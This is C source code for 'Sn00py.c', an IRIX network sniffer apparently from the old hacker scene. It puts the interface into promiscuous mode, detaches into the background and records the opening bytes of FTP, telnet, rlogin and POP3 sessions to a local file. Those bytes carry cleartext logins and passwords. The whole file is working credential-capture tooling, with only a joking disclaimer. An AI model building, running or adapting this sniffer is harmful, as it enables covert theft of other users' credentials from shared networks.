

/*---------------------------------------------------------------*/
/*		Sn00py.c - a quick IRIX sniffer..                */
/*             -----------------------------------               */
/* What: a sniffer, designed for IRIX (5.x, 6.x) machines.       */
/* Why: 'Cause other than try and compile sniffit (ugh), there   */
/*      really isn't any sniffer for IRIX boxes, that I know of. */
/* Who: morpheus. (n00ne@hotmail.com, for comments, flames, etc.)*/
/*                                                               */
/* Thanks to: SGI (for such great man pages (snoop(7P))          */
/*            whoever wrote Esniff.c =)                          */
/*---------------------------------------------------------------*/

/* Notes: I)  #include <disclaimer> - This isn't for hacks...    */
/*        II) This little proggy has the side effect of setting  */
/*            the promiscuous flag. But hey - nobody's perfect.  */
/*            (if you ifconfig and dont see the PROMISC flag up  */
/*             try setenv'ing interface to the right interface   */
/*            (as shown by netstat -i).                          */
 
/* #includes... For SOME reason in sgi, <netinet/in.h> relies on */
/* <netinet/in_systm.h>, which relies, in turn on sys/types.h.   */
/* This order of #includes should do the trick...                */

#include <stdlib.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in_systm.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <stdio.h>
#include <strings.h> /* not really necessary.. */
#include <sys/types.h>
#include <net/raw.h>
#include <netinet/if_ether.h>

/* #define's */

#define ETHERHDRPAD     RAW_HDRPAD(sizeof(struct ether_header))
#define TRUE		1
#define	FALSE		0
#define MAX_PACKETS	500
#define MAX_DATA	2048 /* in bytes */


char	*resolvehost (struct in_addr	ip_addr)
{
	register	struct hostent *he;

	he = gethostbyaddr ( (char *)  &ip_addr.s_addr,
			      sizeof(struct in_addr),
			      AF_INET);

	return ( (he)?
		 (he->h_name) :
		 (inet_ntoa(ip_addr))
	       );


}

int	filter  (char *Packet, 
		 int  Packet_Size,
		 struct in_addr	IP_Addr1,
		 int		Port1,
		 struct in_addr IP_Addr2,
		 int		Port2)
{

	/*	IP Packet Filtering Procedure		 */
	/*	-----------------------------		 */
	/* returns TRUE if Packet is from IP_Addr1:Port1 */
	/* IP_Addr2:Port2, or vice versa..		 */

	struct ip               *IP_Header;
        struct tcphdr           *TCP_Header;

	if ( (Packet[0] != 0x45) ||
	     (Packet[9] != 0x06)
	    )
		return (FALSE);



        IP_Header = (struct ip *) Packet;
	TCP_Header = (struct tcphdr *) (Packet +
			 4 * IP_Header->ip_hl);

	if  (
	     ((memcmp (&IP_Header->ip_src, &IP_Addr1, 4) == 0) &&
	      (memcmp (&IP_Header->ip_dst, &IP_Addr2, 4) == 0) &&
	      (TCP_Header->th_sport == Port1) &&
	      (TCP_Header->th_dport == Port2)
	     )
/*
	   ||
	     ((memcmp (&IP_Header->ip_src, &IP_Addr2, 4) == 0) &&
	      (memcmp (&IP_Header->ip_dst, &IP_Addr1, 4) == 0) &&
	      (TCP_Header->th_sport == Port2) &&
	      (TCP_Header->th_dport == Port1)
	     )
 */            )
	{  return (TRUE);}
	else
	 return (FALSE);


}
int main (int argc, char **argv)
{

  struct etherpacket {
                struct snoopheader      snoop;
                char                    pad[ETHERHDRPAD];
                struct ether_header     ether;
                char                    data[ETHERMTU];
        }  ;
  struct snoopfilter {
                u_long  sf_mask[SNOOP_FILTERLEN];
                u_long  sf_match[SNOOP_FILTERLEN];
                u_short sf_allocated:1,
                        sf_active:1,
                        sf_promisc:1,
                        sf_allmulti:1,
                        sf_index:SNOOP_MAXFILTSHIFT;
                u_short sf_port;
        } ;


    	int i, j, k;		/* Counters... */
	int bytes_read;		/* data count  */
	int cc = 60000, on = 1;
   	int s;			/* Our Snoop Socket... */

	char	*interface;     /* Gets the interface env. var, if set */

        struct sockaddr_raw     sr;
	struct etherpacket 	ep,ep1;
	struct snoopfilter	sf;

	struct ip		*IP_Header, *IP_Header1;  /* Header ptrs to  */
	struct tcphdr		*TCP_Header, *TCP_Header1;/* overlay on data */

#define TCP_FLAGS_ARE_SET(flags) (TCP_Header->th_flags & (flags))
	
	short int	Source_Port, Dest_Port;
	char	*Source_Addr, *Destination_Addr;
	
	char	*output_filename;

	FILE 	*output;

	output_filename = strdup("OUT");


	if (geteuid () != 0)
	{
	  printf ("Error - You must be root to run this\n");
	  exit(-1);
	}



	/* Create the Snoop Socket.... */
        s = socket(PF_RAW, SOCK_RAW, RAWPROTO_SNOOP);
        if (s < 0)
	  {
	    perror ("Error - Unable to open socket");
	    exit(-1);
 	}

	/* Ready output file.... */

	if ((output = fopen(output_filename, "wb")) == NULL)
	  {
	    printf ("Error - Unable to open output file %s\n", output_filename);
	    exit(-1);
	  }

	sr.sr_family = AF_RAW;
        sr.sr_port = 0;

	/* Get the interface name (e.g. ec0, ef0, etc.) from an environment */
	/* variable. Else, if not set, we'll attempt to bind to the primary */
	/* interface...                                                     */

	interface = getenv ("interface");
	if (!interface)
	    /* attempt to bind to primary interface ... */

	    memset(sr.sr_ifname, 0, sizeof sr.sr_ifname);
	
         else
           strncpy(sr.sr_ifname, interface, sizeof sr.sr_ifname);
        
         if (bind(s, &sr, sizeof sr)  < 0)
	  {
	    perror ("Error - Unable to Bind Socket");
	    exit(1);

	   }
        
	/* Kewl. We're bound. Next, initialize a generic filter, to match all */
	/* packets, and add to the interface's filter set...                  */

        bzero((char *) &sf, sizeof sf);
        ioctl(s, SIOCADDSNOOP, &sf);


	/*  Increase the socket's receive buffer size to a generous upper    */
	/* bound, to cope with promiscuous reception of heavy traffic.  Turn */
	/* turn snooping on, read captured packets..                         */
	/* (yup.. right from the SGI Man..)                                  */
        
	setsockopt(s, SOL_SOCKET, SO_RCVBUF, (char *) &cc, sizeof cc);
        ioctl(s, SIOCSNOOPING, &on);


       /* If we got here ok - fork. We'll want to be a bg process anyhow */

         if (fork())
                exit(0);;
  
        for (;;) 
	 {
                cc = read(s, (char *) &ep, sizeof ep);

		/* ep.data now holds the packet, minus the ethernet header */
		if ((cc > sizeof (struct ip)) &&
	     	    (ep.data[0] == 0x45) &&
		    (ep.data[9] == 0x06))
		{ 
		  /* 0x45 = IPv4, and length = 5. So this is a pretty much  */
		  /* unique Identifier for our purposes... 0x06 = TCP       */
		  /* Since we checked the header len, we can safely overlay */
		  /* the struct ip on the data buffer....                   */
	       
		  IP_Header = (struct ip *) ep.data;

		  Source_Addr = strdup (resolvehost(IP_Header->ip_src));
		  Destination_Addr = strdup (resolvehost(IP_Header->ip_dst));
	

		/* Now - carefully overlay the TCP header , right after */
		/* the IP header - that is, at an offset of ip_hl WORDS */
		/* from the beginning (hence the x4).                   */ 

		  TCP_Header = (struct tcphdr *) (ep.data  + 
						  4 * IP_Header->ip_hl);
	

		 /* Now - we're only interested in logging the first  few   */
		 /* bytes of each session (hey - we can't log EVERYTHING..) */
		 /* so - check for handshakes (see if SYN flag is up...)    */
		 /* and log FTP, telnet, rlogin, and pop...                 */

		
		   if ((TCP_FLAGS_ARE_SET(TH_SYN)) &&
			((TCP_Header->th_dport == 110) ||
			 (TCP_Header->th_dport == 23) ||
			 (TCP_Header->th_dport == 21) ||
			 (TCP_Header->th_dport == 513)
		        )
		      )
		   {
 
	  	      fprintf (output,
                          "Connection :%s(%d) -> %s(%d)\n",
                           Source_Addr,  TCP_Header->th_sport,
                           Destination_Addr, TCP_Header->th_dport);

 
		    /* Read On */

		    bytes_read = 0;
		    cc = read(s, (char *) &ep1, sizeof ep1);
		    for (j=0;
			 (j < MAX_PACKETS) && (bytes_read < MAX_DATA) ;
			  )
		     {
			if (filter(ep1.data, cc,
				   IP_Header->ip_src, TCP_Header->th_sport,
			 	   IP_Header->ip_dst, TCP_Header->th_dport)
			  )
	 	       {

			 IP_Header1 = (struct ip *) ep1.data;
			 TCP_Header1 = (struct tcphdr *) (ep1.data +
				                   4 * IP_Header1->ip_hl);
			
			 
			  
			 if (TCP_Header1->th_flags & (TH_RST | TH_FIN))
			 {
			     fprintf(output,"\nConnection reset or closed\n");
			     j = MAX_PACKETS;
		          }
		         else
			  {
			   for (k= 4 * ( IP_Header1->ip_hl +
				  TCP_Header1->th_off);
			       k < IP_Header1->ip_len;
			        k++)
				fputc(ep1.data[k], output);
			     
			    bytes_read +=
				   IP_Header1->ip_len -
				   (4 * ( IP_Header1->ip_hl + 
					  TCP_Header1->th_off));
			 }	
			    /* In any case, inc. packet count... */
		  	    j++; 
			}	
                	cc = read(s, (char *) &ep1, sizeof ep1);

		     } /* End for j= ..... */

			fprintf (output,"\Total bytes: %d\n", bytes_read);
			fflush(output); 

		  } /* End if TCP_FLAGS_ARE_SET */

		} /* end if */
		
               
       	} /* end for (;;) */
} /* the end */
